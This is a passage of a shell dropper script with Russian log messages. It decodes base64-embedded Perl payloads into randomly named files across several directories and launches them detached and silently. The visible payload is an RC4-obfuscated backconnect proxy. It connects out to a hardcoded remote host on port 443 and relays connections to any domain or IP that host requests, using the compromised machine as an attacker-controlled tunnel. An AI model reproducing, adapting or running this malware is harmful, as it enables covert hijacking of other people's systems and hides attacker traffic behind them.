ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #60 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #60 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 61 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ 